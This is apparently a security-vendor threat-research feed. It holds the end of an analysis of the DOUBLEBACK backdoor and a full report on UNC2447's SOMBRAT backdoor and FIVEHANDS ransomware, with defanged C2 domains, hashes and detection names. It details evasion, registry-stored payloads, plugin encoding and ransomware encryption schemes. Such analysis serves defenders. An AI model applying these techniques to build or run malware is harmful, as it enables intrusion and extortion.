The initial state of the backdoor execution is when it is mapped into a PowerShell process created by the bootstrap code. In this mode, the backdoor attempts to relocate itself into a new instance of msiexec.exe. Before the injection is attempted, the backdoor enumerates the running processes looking for Kaspersky Antivirus (avp.exe, avpui.exe) or BitDefender (bdagent.exe, bdservbdagent.exe, bdservicehost.exe) engines. This part of the functionality seems to be a work in progress because the malware ignores the fact if the Kaspersky software is detected but it will not attempt injecting into the msiexec.exe process in case BitDefender is found running on the compromised system. In the latter case, the backdoor's main functionality will be executed inside the same PowerShell process and no new instance of msiexec.exe will be created.

The injection process involves finding the backdoor's image under the appropriate registry key. Note, that the backdoor instance we have observed in the first wave does not handle situations when the malware ecosystem is installed as an administrator—such cases would end up with the backdoor not able to locate its image for injecting. In all other cases, the malware starts with the well-known class GUIDs of the PlaySoundService and MsCtfMonitor classes and attempts to find which of them has the TreatAs registry key under their definition. Once the TreatAs key is found, its default registry value points to the registry key that has the RC4-encrypted backdoor image and the encoded RC4 key both described in the previous section of the post.

With the backdoor image loaded in memory and decrypted, the malware spawns a suspended process around msiexec.exe and inject its image into it. The backdoor PE file exports a single function that is used to lay down its own image in memory and execute its DllMain entry point. The export function allocates the needed memory, relocates the image, if needed, resolves the imports and finally executes the backdoor’s DllMain function.

At this point the backdoor is running inside the hijacked msiexec.exe and the instance inside the PowerShell process terminates itself.

Executing as Injected in the msiexec.exe Process

Overview

The DOUBLEBACK backdoor executes its main functionality while injected in a dedicated msiexec.exe process (provided BitDefender AV is not found running on the system). The main logical modules of the backdoor are its configuration, plugin management, and communications. In the following sections we will describe the first two, while a future blog post will focus on the communications and the evolution of the backdoor.

Configuration

The backdoor uses an embedded configuration that contains the C2 URLs and a key (more about the key in the second part of the post). The configuration data is formatted as shown in Figure 12.

struct tag_config_header_t {
    uint32_t xor_val_1;
    uint32_t xor_val_2;
    uint32_t xor_val_3;
    uint32_t xor_val_4;
} config_header_t;

struct tag_config_t {
    config_header_t header;
    uint8_t encoded_config[];
} config_t;

Figure 12: Encoded configuration format

The length of the encoded_config data is provided by the XOR-ing of the xor_val_1 and xor_val_2 fields of the config_header_t structure. The config_t.encoded_config blob can be decoded by XOR-ing the data with the config_header_t.xor_val_1.

The decoded configuration data consists of a comma-separated list of URLs followed by a key that is used in the communication module. The first two bytes specify the lengths of the comma-separated URL list and the key, respectively. The URLs in the observed samples follow the pattern shown in Figure 13.

https://<server>/admin<n>/client.php

Figure 13: Observed C2 URL pattern

The initial sample did not have any value for <n> but the samples after that were observed to use <n> equal to 4 or 5.

Plugin Management

The backdoor's core functionality is implemented via plugins designed as PE Windows dynamic libraries. The plugins, as with the other backdoor components, are also saved in the registry database under a host-specific registry key. The full path to the plugins location is formatted as HK[LM|CU]:\Software\Classes\CLSID\{<plugins_home_guid>}, where <plugins_home_guid> is generated by the GUID algorithm shown in Figure 11 with a host-specific value we call implant ID which is used not only to generate the path to the plugins but with the backdoor’s C2 communications and it is also passed as a parameter to each of the plugins during their initialization. The implant ID is generated by seeding the Linear Congruential Generator (LCG) algorithm, shown in Figure 14, with the host ID and the <max_range> value is set to 0x54c5638. The value generated by the LCG is then added to 0x989680 and the result serves as the implant ID.

def lcg(max_range):
    global seed
    if seed == 0:
        seed = get_RDTSC()
    n = (0x7fffffed * seed + 0x7fffffc3) & 0xffffffff
    val = n % max_range
    seed = n
    return val

Figure 14: Linear Congruential Generator used by the backdoor

The backdoor enumerates all the registry values under the plugins home location (the registry value names are insignificant) and expects each of the plugins to be formatted, as shown in Figure 15.

struct tag_plugin_header_t {
    uint32_t xor_val;
    uint32_t param_2; the second parameter of the pfn_init
    uint32_t len_1;
    uint32_t len_2;
    uint32_t pfn_init;
    uint32_t pfn_cleanup;
    uint32_t param_3; the third parameter of the pfn_init
    uint32_t unused;
} plugin_header_t;

struct tag_plugin_t {
       plugin_header_t header;
       uint8_t encoded_plugin[];
} plugin_t;

Figure 15: Encoded plugins format

As shown in Figure 15, the plugin data starts with a 32-byte long header followed by the encoded plugin DLL. The plugin encoding is implemented as a combination of rolling DWORD/BYTE XOR with initial value specified by the plugin_header_t.xor_val value. The plugin_header_t.len_1 stores the number of DWORDS to be decoded with plugin_header_t.xor_val which is incremented by 4 after each iteration. The plugin_header_t.len_2 specifies the number of bytes to be decoded at the current position after the previous operation with the current value of the plugin_header_t.xor_val (only the least significant byte is taken). In this mode the plugin_header_t.xor_val value is incremented by one after each iteration.

The plugins are expected to export at least two functions—one for initialization and another to clean up the resources before unloading. The initialization routine takes four parameters—two from the header and two calculated by the backdoor, as shown Figure 16.

pfn_init(implant_id, plugin_header_t.param_2, plugin_header_t.param_3, p_plugin_image_in_memory)

Figure 16: Plugins initialization routine prototype

The current backdoor's implementation provides support for up to 32 plugins with each of them mapped and initialized in the backdoor's process space.

Additional Notes

The first backdoor instance we observed back in December 2020 was a stable and well-written code, but it was clearly a work in progress. For example, the early instance of the malware spawns a thread to secure delete the DOUBLEDROP dropper from disk which indicates that an earlier variant of this malware launched a copy of the dropper from the file system. The dropper would save its current location on disk in the default registry value under the HK[LM|CU]:\Software\Classes key. The backdoor spawns a dedicated thread that retrieves the dropper’s path and then proceeds to overwrite the image on disk with 0x00, 0xFF, and a randomly generated byte before deleting the dropper from the file system.

Additionally, the early instance of the backdoor, as mentioned, would not handle the situations when an elevated PowerShell process is used. The dropper would use a scheduled task in that case with the relevant registry keys created under the HKLM hive but the backdoor does not support that case and will not be able to find its image under the specific key in order to inject itself into the msiexec.exe process.

Finally, the backdoor would output debug information in a few cases using the OutputDebugString API. Interestingly, the format and the generation of the log message is the same as the one used in the publicly available PEGASUS code (preliminary technical analysis: Pegasus Malware Source Code). The PEGASUS backdoor is distributed with modules that allow it to manipulate files generated by common Russian payment processing software that is used to assess and process VAT refunds. When executed on a workstation running targeted software, the malware can attempt to add VAT to transactions that are normally exempt and directs associated tax refunds to attacker-controlled bank accounts.

Conclusion

Considerable resources were employed by UNC2529 to conduct their December phishing campaign. Almost 50 domains supported various phases of the effort, targets were researched, and a legitimate third-party domain was compromised. The threat actor made extensive use of obfuscation and fileless malware to complicate detection to deliver a well coded and extensible backdoor. UNC2529 is assessed as capable, professional and well resourced. The identified wide-ranging targets, across geography and industry suggests a financial crime motive.

DOUBLEBACK appears to be an ongoing work in progress and Mandiant anticipates further actions by UNC2529 to compromise victims across all industries worldwide.

Technical Indicators

DOUBLEDRAG / BIFF8

Files

MD5

Role

Wave

39fc804566d02c35f3f9d67be52bee0d

DOUBLEDRAG

1st

44f7af834ee7387ac5d99a676a03cfdd

DOUBLEDRAG

1st

4e5583e34ad54fa7d1617f400281ba56

PDF Decoy

1st

e80dc4c3e26deddcc44e66bb19b6fb58

PDF Decoy

1st

169c4d96138d3ff73097c2a9aab5b1c0

Zip

1st

e70502d020ba707095d46810fd32ee49

Zip

1st

62fb99dc271abc104504212157a4ba91

Excel BIFF8 macro

2nd

1d3fcb7808495bd403973a0472291da5

PDF Decoy

2nd

6a1da7ee620c638bd494f4e24f6f1ca9

Zip

2nd

a28236b43f014c15f7ad4c2b4daf1490

Zip

2nd

d594b3bce66b8b56881febd38aa075fb

Zip

2nd

Domains

Dec. 2, 2020 Wave

Dec. 11 to 18, 2020 Wave

adupla[.]net

aibemarle[.]com

ceylonbungalows[.]net

bestwalletforbitcoin[.]com

chandol[.]com

bitcoinsacks[.]com

closetdeal[.]com

digitalagencyleeds[.]com

daldhillon[.]com

erbilmarriott[.]com

desmoncreative[.]com

ethernetpedia[.]com

farmpork[.]com

fileamazon[.]com

gemralph[.]com

gamesaccommodationscotland[.]com

isjustlunch[.]com

greathabibgroup[.]com

logicmyass[.]com

infomarketx[.]com

lottoangels[.]com

jagunconsult[.]com

mangoldsengers[.]com

khodaycontrolsystem[.]com

oconeeveteransmemorial[.]com

maninashop[.]com

scottishhandcraft[.]com

onceprojects[.]com

seathisons[.]com

simcardhosting[.]com

skysatcam[.]com

stayzarentals[.]com

smartnhappy[.]com

touristboardaccommodation[.]com

stepearn[.]com

towncentrehotel[.]com

sugarmummylove[.]com

vacuumcleanerpartsstore[.]com

techooze[.]com

zmrtu[.]com

tigertigerbeads[.]com

 

totallyhealth-wealth[.]com

 

towncenterhotel[.]com

 

uaeworkpermit[.]com

 

DOUBLEDROP

MD5

  • 4b32115487b4734f2723d461856af155
  • 9e3f7e6697843075de537a8ba83da541
  • cc17e0a3a15da6a83b06b425ed79d84c

URLs

  • hxxp://p-leh[.]com/update_java.dat
  • hxxp://clanvisits[.]com/mini.dat
  • hxxps://towncentrehotels[.]com/ps1.dat
DOUBLEBACK

MD5

  • 1aeecb2827babb42468d8257aa6afdeb
  • 1bdf780ea6ff3abee41fe9f48d355592
  • 1f285e496096168fbed415e6496a172f
  • 6a3a0d3d239f04ffd0666b522b8fcbaa
  • ce02ef6efe6171cd5d1b4477e40a3989
  • fa9e686b811a1d921623947b8fd56337

URLs

  • hxxps://klikbets[.]net/admin/client.php
  • hxxps://lasartoria[.]net/admin/client.php
  • hxxps://barrel1999[.]com/admin4/client.php
  • hxxps://widestaticsinfo[.]com/admin4/client.php
  • hxxps://secureinternet20[.]com/admin5/client.php
  • hxxps://adsinfocoast[.]com/admin5/client.php

Detections

FireEye detects this activity across our platforms. The following contains specific detection names that provide an indicator of exploitation or post-exploitation activities we associate with UNC2529.

Platforms

Detection Name

Network Security

Email Security

Detection On Demand

Malware File Scanning

Malware File Storage Scanning

  • FEC_Trojan_JS_DOUBLEDRAG_1 (static)
  • FE_Trojan_JS_DOUBLEDRAG_1 (static)
  • Downloader.DOUBLEDRAG (network)
  • Downloader.JS.DOUBLEDRAG.MVX (dynamic)
  • FE_Dropper_PS1_DOUBLEDROP_1 (static)
  • FEC_Dropper_PS1_DOUBLEDROP_1 (static)
  • Dropper.PS1.DOUBLEDROP.MVX (dynamic)
  • FE_Backdoor_Win_DOUBLEBACK_1 (static)
  • FE_Backdoor_Win_DOUBLEBACK_2 (static)
  • FE_Backdoor_Win_DOUBLEBACK_3 (static)
  • FE_Backdoor_Win_DOUBLEBACK_4 (static)
  • Backdoor.Win.DOUBLEBACK (network)
  • Malware.Binary.xls

Endpoint Security

Real-Time (IOC)

  • POWERSHELL ENCODED REMOTE DOWNLOAD (METHODOLOGY)
  • SUSPICIOUS POWERSHELL USAGE (METHODOLOGY)
  • MALICIOUS SCRIPT CONTENT A (METHODOLOGY)
  • POWERSHELL INVOCATION FROM REGISTRY ARTIFACT (METHODOLOGY)

Malware Protection (AV/MG)

  • Generic.mg.1aeecb2827babb42
  • Generic.mg.1bdf780ea6ff3abe
  • Generic.mg.1f285e496096168f
  • Generic.mg.6a3a0d3d239f04ff
  • Generic.mg.ce02ef6efe6171cd
  • Generic.mg.fa9e686b811a1d92
  • Trojan.JS.Agent.TZP
  • Gen:Variant.Ulise.150277
  • Gen:Variant.Ulise.150283
  • Gen:Variant.Razy.799918

UNC2529 MITRE ATT&CK Mapping

ATT&CK Tactic Category

Techniques

Resource Development

Initial Access

Execution

Privilege Escalation

Defense Evasion

Discovery

Collection

Command and Control

Acknowledgements

Thank you to Tyler McLellan, Dominik Weber, Michael Durakovich and Jeremy Kennelly for technical review of this content. In addition, thank you to Nico Paulo Yturriaga and Evan Reese for outstanding signature creation, and Ana Foreman for graphics support.

☑ ☆ ✇ Threat Research

UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat

By: Tyler McLellan

Mandiant has observed an aggressive financially motivated group, UNC2447, exploiting one SonicWall VPN zero-day vulnerability prior to a patch being available and deploying sophisticated malware previously reported by other vendors as SOMBRAT. Mandiant has linked the use of SOMBRAT to the deployment of ransomware, which has not been previously reported publicly.

UNC2447 monetizes intrusions by extorting their victims first with FIVEHANDS ransomware followed by aggressively applying pressure through threats of media attention and offering victim data for sale on hacker forums. UNC2447 has been observed targeting organizations in Europe and North America and has consistently displayed advanced capabilities to evade detection and minimize post-intrusion forensics.

Mandiant has observed evidence of UNC2447 affiliated actors previously using RAGNARLOCKER ransomware. Based on technical and temporal observations of HELLOKITTY and FIVEHANDS deployments, Mandiant suspects that HELLOKITTY may have been used by an overall affiliate program from May 2020 through December 2020, and FIVEHANDS since approximately January 2021.

Background

In November 2020, Mandiant created UNC2447, an uncategorized group observed using the novel WARPRISM PowerShell dropper to install BEACON at two Mandiant Managed Defense clients. Mandiant Managed Defence quicky neutralized these intrusions and did not observe attempts to deploy ransomware.

In January and February 2021, Mandiant Consulting observed a novel rewrite of DEATHRANSOM—dubbed FIVEHANDS—along with SOMBRAT at multiple victims that were extorted. During one of the ransomware intrusions, the same WARPRISM and BEACON samples previously clustered under UNC2447 were observed. Mandiant was able to forensically link the use of WARPRISM, BEACON, SOMBRAT and FIVEHANDS to the same actor.

Mandiant suspects that HELLOKITTY activity in late-2020 may be related to the overall affiliate program and that usage shifted to FIVEHANDS ransomware beginning in January 2021.

  • In April 2021, Mandiant observed a private FIVEHANDS TOR chat using a HELLOKITTY favicon (Figure 1).


Figure 1: FIVEHANDS Hello Kitty icon

When affiliate-based ransomware is observed by Mandiant, uncategorized clusters are assigned based on the infrastructure used, and in the case of UNC2447 were based on the SOMBRAT and Cobalt Strike BEACON infrastructure used across 5 intrusions between November 2020 and February 2021. Generally, Mandiant uses caution even with novel malware such as SOMBRAT and WARPRISM and clusters each use rigorously according to all observed activity. For more information on uncategorized threats, refer to our post, "DebUNCing Attribution: How Mandiant Tracks Uncategorized Threat Actors."

SonicWall SMA 100 Series Appliance Vulnerability

CVE-2021-20016 is a critical SQL injection vulnerability that exploits unpatched SonicWall Secure Mobile Access SMA 100 series remote access products. A remote, unauthenticated attacker could submit a specially crafted query in order to exploit the vulnerability. Successful exploitation would grant an attacker the ability to access login credentials (username, password) as well as session information that could then be used to log into a vulnerable unpatched SMA 100 series appliance. This vulnerability only impacted the SMA 100 series and was patched by SonicWall in February 2021. For more information on this vulnerability, please refer to SonicWall PSIRT advisory SNWLID-2021-0001.

WARPRISM

WARPRISM is a PowerShell dropper that has been observed by Mandiant delivering SUNCRYPT, BEACON, and MIMIKATZ. WARPRISM is used to evade endpoint detection and will load its payload directly into memory. WARPRISM may be used by multiple groups.

FOXGRABBER

FOXGRABBER is a command line utility used to harvest FireFox credential files from remote systems. It contains the PDB path: C:\Users\kolobko\Source\Repos\grabff\obj\Debug\grabff.pdb. FOXGRABBER has also been observed in DARKSIDE ransomware intrusions.

BEACON Malleable Profiles

In the initial stages of an intrusion, UNC2447 uses the Cobalt Strike BEACON HTTPSSTAGER implant for persistence to communicate with command-and-control (C2) servers over HTTPS and has been observed using ‘chches_APT10’ and ‘Havex’ Malleable profiles.

UNC2447 Toolbox

During the recon and exfiltration stage of intrusions, UNC2447 has been observed using the following tools: ADFIND, BLOODHOUND, MIMIKATZ, PCHUNTER, RCLONE, ROUTERSCAN, S3BROWSER, ZAP and 7ZIP. UNC2447 may tamper with windows security settings, firewall rules, and antivirus protection.

SOMBRAT Overview

SOMBRAT was first reported by Blackberry Cylance in November 2020 as "The CostaRicto Campaign: Cyber-Espionage Outsourced" as a potential espionage-for-hire criminal group. Mandiant has now observed SOMBRAT alongside FIVEHANDS ransomware intrusions.

The SOMBRAT backdoor is packaged as a 64-bit Windows executable. It communicates with a configurable command and control (C2) server via multiple protocols, including DNS, TLS-encrypted TCP, and potentially WebSockets. Although the backdoor supports dozens of commands, most of them enable the operator to manipulate an encrypted storage file and reconfigure the implant. The backdoor's primary purpose is to download and execute plugins provided via the C2 server. In contrast to the SOMBRAT version published in November 2020, Mandiant observed additional obfuscation and armoring to evade detection, this SOMBRAT variant has been hardened to discourage analysis. Program metadata typically included by the compiler has been stripped and strings have been inlined and encoded via XOR-based routines.

The SOMBRAT Launcher

This SOMBRAT backdoor variant must be deployed alongside four additional resources that serve as launchers. They are typically installed to the hardcoded directory path `C:\ProgramData\Microsoft`. 

  • path: `C:\programdata\Microsoft\WwanSvc.bat` - launcher for `WwanSvc.txt`
  • path: `C:\programdata\Microsoft\WwanSvc.txt` - decoder and launcher for `WwanSvc.c`
  • path: `C:\programdata\Microsoft\WwanSvc.c` - decoder and launcher for `WwanSvc.b`
  • path: `C:\programdata\Microsoft\WwanSvc.a` - XOR key
  • path: `C:\programdata\Microsoft\WwanSvc.b` - encoded SOMBRAT backdoor
  • path: `%TEMP%\<possibly unique random name>` - encrypted storage file
  • path: `%TEMP%\<possibly unique random name _<integer>` - encrypted storage file
  • path: `C:\ProgramData\<possibly unique random name ` - encrypted configuration file

Other variations of the filenames were observed such as ntuser and wapsvc.

SOMBRAT Technical Details

The SOMBRAT backdoor is written in modern C++ and implemented as a collection of "plugins" that interoperate with one another. There are five plugins distributed with this variant: `core`, `network`, `storage`, `taskman`, and `debug` (the `config` plugin described by Blackberry is not present). The core plugins communicate with the C2 server via messages sent over a common networking layer; each plugin supports its own set of messages, and the backdoor protocol can be extended by dynamically loaded plugins.

The `core` plugin coordinates state tracking, such as network connectivity, and dynamic plugin loading and unloading. The `network` plugin configures the networking layer used to communicate with the C2 server, for example enabling the operator to switch between DNS and TCP protocols. The `storage` plugin exposes logical operations, such as read and write, for an encrypted file used to store plugins, resources, and arbitrary data. The `taskman` plugin enables the operator to list and kill processes on the compromised system. Finally, the `debuglog` plugin supports a single command to records debug messages.

Given that the core plugins do not enable an operator directly execute arbitrary commands or reconfigure the system, the primary function of the SOMBRAT backdoor is to load plugins provided via the C2 server. These plugins may be shellcode or DLL modules to be dynamically loaded. The C2 server may instruct the backdoor to load the plugins directly or persist them into the encrypted storage file, where they may subsequently be reloaded, such as after upgrading the backdoor.


Figure 2: Malware author mark “No one is perfect except me.”

SOMBRAT evades forensic analysis by patching the process memory used to record command line arguments. It replaces the initial command line with the base filename of the program executable, removing any arguments. This means that investigators that inspect a process listing via memory forensics will see the innocuous-looking command line `powershell.exe` rather than references to the uncommon filename such as `WwanSvc.c`.

SOMBRAT Network Communications

The SOMBRAT backdoor can communicate with its C2 server using both DNS and a proxy-aware, TLS-encrypted stream protocol. By default, the backdoor uses the DNS protocol; however, this can be reconfigured by the C2 server. Mandiant observed the domains feticost[.]com and celomito[.]com used for DNS C2 communications.

When the backdoor communicates via its DNS protocol, it constructs and resolves FQDNs, interpreting the DNS results to extract C2 messages. The authoritative DNS server embeds data within the IP address field of DNS A record results and within the Name Administrator field of DNS TEXT record results. By making many requests to unique subdomains of the C2 domain, the backdoor can slowly transmit information a few bytes at a time.

Ransomware Similarities

Beginning in October 2020, Mandiant observed samples of a customized version of DEATHRANSOM. This newly modified version removed the language check feature (Figure 3 shows the language check of DEATHRANSOM).


Figure 3: Language check from Fortinet blog

  • HELLOKITTY ransomware—used to target Polish video game developer CD Projekt Red—is reportedly built from DEATHRANSOM.
    • HELLOKITTY is named after a mutex named ‘HELLOKITTYMutex,’ used when the malware executable is launched (see Figure 4).


Figure 4: HELLOKITTY mutex shown in Process Explorer

In January 2021, Mandiant observed a new ransomware deployed against a victim and assigned the name FIVEHANDS.

  • Analysis of FIVEHANDS revealed high similarity to DEATHRANSOM, sharing several features, functions, and coding similarities. Absent in FIVEHANDS is a language check, similar to HELLOKITTY
  • Both DEATHRANSOM and FIVEHANDS drops a ransom note in all non-excluded directories

Technical Comparison of FIVEHANDS, HELLOKITTY and DEATHRANSOM

DEATHRANSOM is written in C while the other two families are written in C++. DEATHRANSOM uses a distinct series of do/while loops to enumerate through network resources, logical drives, and directories. It also uses QueueUserWorkItem to implement thread pooling for its file encryption threads.

HELLOKITTY is written in C++, but reimplements a significant portion of DEATHRANSOM's functionality using similar loop operations and thread pooling via QueueUserWorkItem. The code structure to enumerate network resources, logical drives, and perform file encryption is very similar. Additionally, HELLOKITTY and DEATHRANSOM share very similar functions to check for the completion status of their encryption threads before exiting.

FIVEHANDS is written in C++ and although high level functionality is similar, the function calls and code structure to implement the majority of the functionality is written differently. Also, instead of executing threads using QueueUserWorkItem, FIVEHANDS uses IoCompletionPorts to more efficiently manage its encryption threads. FIVEHANDS also uses more functionality from the C++ standard template library (STL) than does HELLOKITTY.

Deletion of Volume Shadow Copies

DEATHRANSOM, HELLOKITTY, and FIVEHANDS use the same code to delete volume shadow copies via WMI by performing the query select * from Win32_ShadowCopy and then deleting each instance returned by its id.

Encryption Operations

Each of these three malware families utilizes a similar encryption scheme. An asymmetric public key is either hard-coded or generated. A unique symmetric key is generated for each encrypted file.

  • After each file is encrypted, the asymmetric key will encrypt the symmetric key and append it to the encrypted file. Additionally, a unique four byte magic value is appended to the end of the encrypted file. The malware checks for these magic bytes to ensure it does not encrypt a previously encrypted file again.
  • DEATHRANSOM and HELLOKITTY implement the file encryption operations using a very similar code structure and flow.
  • FIVEHANDS implements its file encryption with a differing code structure and uses different embedded encryption libraries.
  • In addition to the symmetric key, HELLOKITTY and FIVEHANDS also encrypts file metadata with the public key and appends this to the encrypted file.
  • DEATHRANSOM generates an RSA key pair while HELLOKITTY and FIVEHANDS use an embedded RSA or NTRU public key.

DEATHRANSOM Encryption

  • DEATHRANSOM creates an RSA-2048 public and private key pair. Using an Elliptic-curve Diffie–Hellman (ECDH) routine implemented with Curve25519, it computes a shared secret using two input values: 1) 32 random bytes from a RtlGenRandom call and 2) a hardcoded 32 byte value (attacker's public key). It also create a Curve25519 public key. The shared secret is SHA256 hashed and used as the key to Salsa20 encrypt the RSA public and private keys.
  • The RSA public key is used to encrypt the individual symmetric keys that are used to encrypt each file. A Base64 encoded version of the encrypted RSA keys and the victim’s Curve25519 public key is included in the ransom note, providing the threat actors the information needed to decrypt the victim's files.
  • For the symmetric key, DEATHRANSOM calls RtlGenRandom to generate 32 random bytes. This is the 32 byte key used to AES encrypt each file. After the file is encrypted, the AES key is encrypted with the public RSA key and appended to the file.
  • DEATHRANSOM lastly appends the four magic bytes of AB CD EF AB at the end of the encrypted file and uses this as a check to ensure that it does not encrypt an already encrypted file.
  • The analyzed DEATHRANSOM sample used for comparison does not change the file extension.

HELLOKITTY Encryption

  • HELLOKITTY contains an embedded RSA-2048 public key. This public key is SHA256 hashed and used as the victim ID within the ransom note. This RSA pubic key is also used to encrypt each file's symmetric key.
  • For the symmetric key, HelloKitty generates a 32 byte seed value based on the CPU timestamp. A Salsa20 key is generated and encrypts a second 32 byte seed value. The encrypted result is XOR’d with the first seed, resulting in a 32 byte key used to AES encrypt each file.
  • After each file is encrypted, the original file size, magic value of DE C0 AD BA, and AES key are encrypted with the public RSA key and appended to the file. HELLOKITTY and FIVEHANDS appends this additional metadata to the encrypted file, while DEATHRANSOM does not.
  • Lastly it appends the four magic bytes DA DC CC AB to the end of the encrypted file.
  • Depending on the version, HELLOKITTY may or may not change the file extension.
  • Other samples of HELLOKITTY have used an embedded NTRU public key instead of RSA.

FIVEHANDS Encryption

  • FIVEHANDS uses an embedded NTRU public key. This NTRU key is SHA512 hashed and the first 32 bytes are used as the victim ID within the ransom note. This NTRU pubic key is also used to encrypt each file's symmetric key.
  • For the symmetric key, FIVEHANDS uses an embedded generation routine to produce 16 random bytes used for an AES key to encrypt each file.
  • After each file is encrypted, the original file size, magic value of DE C0 AD BA, and AES key are encrypted with the public NTRU key and appended to the file.
  • The four magic bytes DB DC CC AB are appended to the end of the encrypted file.
  • FIVEHANDS includes additional code not found in DEATHRANSOM and HELLOKITTY to use the Windows Restart Manager to close a file currently in use so that it can be unlocked and successfully encrypted.
  • The encrypted file extension is changed to .crypt  extension
  • FIVEHANDS's encryption flow and sequence is very different from the other two, partially because it incorporates asynchronous I/O requests and uses different embedded encryption libraries.

FIVEHANDS Encrypted Dropper

One significant change between DEATHRANSOM and FIVEHANDS is the use of a memory-only dropper, which upon execution, expects a command line switch of -key followed by the key value necessary to perform decryption of its payload. The payload is stored and encrypted with AES-128 using an IV of “85471kayecaxaubv”. The decrypted FIVEHANDS payload is immediately executed after decryption. To date, Mandiant has only observed encrypted droppers with a common imphash of 8517cf209c905e801241690648f36a97.

CLI arguments

FIVEHANDS can receive a CLI argument for a path, this limits the ransomware's file encryption activities to the specified directory. DEATHRANSOM and HELLOKITTY do not accept CLI arguments.

Locale and Mutex checks

DEATHRANSOM performs language ID and keyboard layout checks. If either of these match Russian, Kazakh, Belarusian, Ukrainian or Tatar it exits. Neither HELLOKITTY or FIVEHANDS perform language ID or keyboard checks.

HELLOKITTY performs a mutex check while the other two do not perform mutex checks.

File Exclusions

DEATHRANSOM and HELLOKITTY both exclude the same directories and files:

programdata, $recycle.bin, program files, windows, all users, appdata, read_me.txt, autoexec.bat, desktop.ini, autorun.inf, ntuser.dat, iconcache.db, bootsect.bak, boot.ini, ntuser.dat.log, or thumbs.db.

The exclusions for FIVEHANDS are more extensive and contain additional files and directories to ignore.

Additional Differences

  • DEATHRANSOM makes an external HTTPS connection to download a file. Neither HELLOKITTY or FIVEHANDS initiate network connections.
  • HELLOKITTY contains code to set the victims wallpaper to a ransom related image. The other samples do not have this functionality
  • Different versions of DEATHRANSOM and HELLOKITTY are known to change the file extension
  • Different versions of HELLOKITTY are known to check for specific processes to terminate.

Feature

FIVEHANDS

HELLOKITTY

DEATHRANSOM

Programming Language

C++

C++

C

Symmetric Encryption

AES 128

AES 256

AES 256

Asymmetric Encryption

Embedded NTRU Key

Embedded RSA or NTRU Key

Curve25519 ECDH and RSA key creation

Same directory and file name exclusions

No

Yes

Yes

Accepts CLI Arguments

Yes

No

No

Network Connections

No

No

Yes

Locale Check

No

No

Yes

Mutex Check

No

Yes

No

Bytes Appended to Encrypted Files

DB DC CC AB

DA DC CC AB

AB CD EF AB

Table 1: Ransomware feature comparison

Conclusion

Mandiant observed SOMBRAT and FIVEHANDS ransomware by the same group since January 2021. While similarities between HELLOKITTY and FIVEHANDS are notable, ransomware may be used by different groups through underground affiliate programs. Mandiant will assign an uncategorized cluster based on multiple factors including infrastructure used during intrusions and as such, not all SOMBRAT or FIVEHANDS ransomware intrusions may have been conducted by UNC2447. WARPRISM and FOXGRABBER have been used in SUNCRYPT and DARKSIDE ransomware demonstrating additional complexity and sharing between different ransomware affiliate programs.

Indicators

SOMBRAT UNC2447
  • 87c78d62fd35bb25e34abb8f4caace4a
  • 6382d48fae675084d30ccb69b4664cbb (31dcd09eb9fa2050aadc0e6ca05957bf unxored)
SOMBRAT Launcher
  • cf1b9284d239928cce1839ea8919a7af (wwansvc.a XOR key)
  • 4aa3eab3f657498f52757dc46b8d1f11 (wwansvc.c)
  • 1f6495ea7606a15daa79be93070159a8 (wwansvc.bat)
  • 31dcd09eb9fa2050aadc0e6ca05957bf (wwansvc.b)
  • edf567bd19d09b0bab4a8d068af15572 (wwansvc.b)
  • a5b26931a1519e9ceda04b4c997bb01f (wwansvc.txt)
  • f0751bef4804fadfe2b993bf25791c49 (4aa3eab3f657498f52757dc46b8d1f11 unxored)
  • 87c78d62fd35bb25e34abb8f4caace4a (edf567bd19d09b0bab4a8d068af15572 unxored)
SOMBRAT domains
  • Celomito[.]com (unc2447)
  • Feticost[.]com (unc2447)
  • Cosarm[.]com
  • Portalcos[.]com
FIVEHANDS
  • 39ea2394a6e6c39c5d7722dc996daf05
  • f568229e696c0e82abb35ec73d162d5e
FIVEHANDS Encrypted Dropper
  • 6c849920155f48d4b4aafce0fc49eb5b
  • 22d35005e926fe29379cb07b810a6075
  • 57824214710bc0cdb22463571a72afd0
  • 87c0b190e3b4ab9214e10a2d1c182153
  • 1b0b9e4cddcbcb02affe9c8124855e58
  • 46ecc24ef6d20f3eaf71ff37610d57d1
  • 1a79b6d169aac719c9323bc3ee4a8361
  • a64d79eba40229ae9aaebbd73938b985
HELLOKITTY
  • 136bd70f7aa98f52861879d7dca03cf2
  • 06ce6cd8bde756265f95fcf4eecadbe9
  • af568e8a6060812f040f0cb0fd6f5a7b
  • d96adf82f061b1a6c80699364a1e3208
DEATHRANSOM
  • c50ab1df254c185506ab892dc5c8e24b
WARPRISM
  • c925822c6d5175c30ba96388b07e9e16 (unc2447)
  • c171bcd34151cbcd48edbce13796e0ed
  • d87fcd8d2bf450b0056a151e9a116f72
  • f739977004981fbe4a54bc68be18ea79
  • e18b27f75c95b4d50bfcbcd00a5bd6c5
  • df6e6b3e53cc713276a03cce8361ae0f
  • 1cd03c0d00f7bfa7ca73f7d73677d8f8
  • 8071f66d64395911a7aa0d2057b9b00d
  • c12a96e9c50db5f8b0b3b5f9f3f134f0
  • e39184eacba2b05aaa529547abf41d2b
  • 09a05a2212bd2c0fe0e2881401fbff17
  • 8226d7615532f32eca8c04ac0d41a9fd
  • a01a2ba3ae9f50a5aa8a5e3492891082
  • 29e53b32d5b4aae6d9a3b3c81648653c
  • a809068b052bc209d0ab13f6c5c8b4e7
BEACON UNC2447
  • 64.227.24[.]12 Havex Profile January 2021
  • 157.230.184[.]142  chches_ APT10 Profile November 2020-January 2021
  • 74c688a22822b2ab8f18eafad2271cac
  • 7d6e57cbc112ebd3d3c95d3c73451a38
FOXGRABBER
  • 4d3d3919dda002511e03310c49b7b47f

FireEye Detections

FireEye Network Security

FireEye Email Security

FireEye Detection On Demand

FireEye Malware Analysis

FireEye Malware File Protect

 

FIVEHANDS

  • FE_Loader_Win32_Generic_162
  • FE_Ransomware_Win32_FIVEHANDS_1
  • Malware.Binary.exe
  • Ransomware.Win.Generic.MVX

SOMBRAT

  • FE_Backdoor_Win64_SOMBRAT_1
  • Backdoor.Win.SOMBRAT
  • Malware.Binary.exe
  • Backdoor.Win.SOMBRAT.MVX
  • FEC_Trojan_PS1_Generic_7
  • FEC_Trojan_PS1_Generic_8
  • FEC_Trojan_BAT_Generic_5

HELLOKITTY

  • Ransomware.Win.Generic.MVX
  • Malware.Binary.exe
  • Ransomware.Win.HELLOKITTY.MVX
  • FE_Ransomware_Win_HELLOKITTY_1
  • FE_Ransomware_Win32_HELLOKITTY_1

DEATHRANSOM

  • FE_Loader_Win32_Generic_92
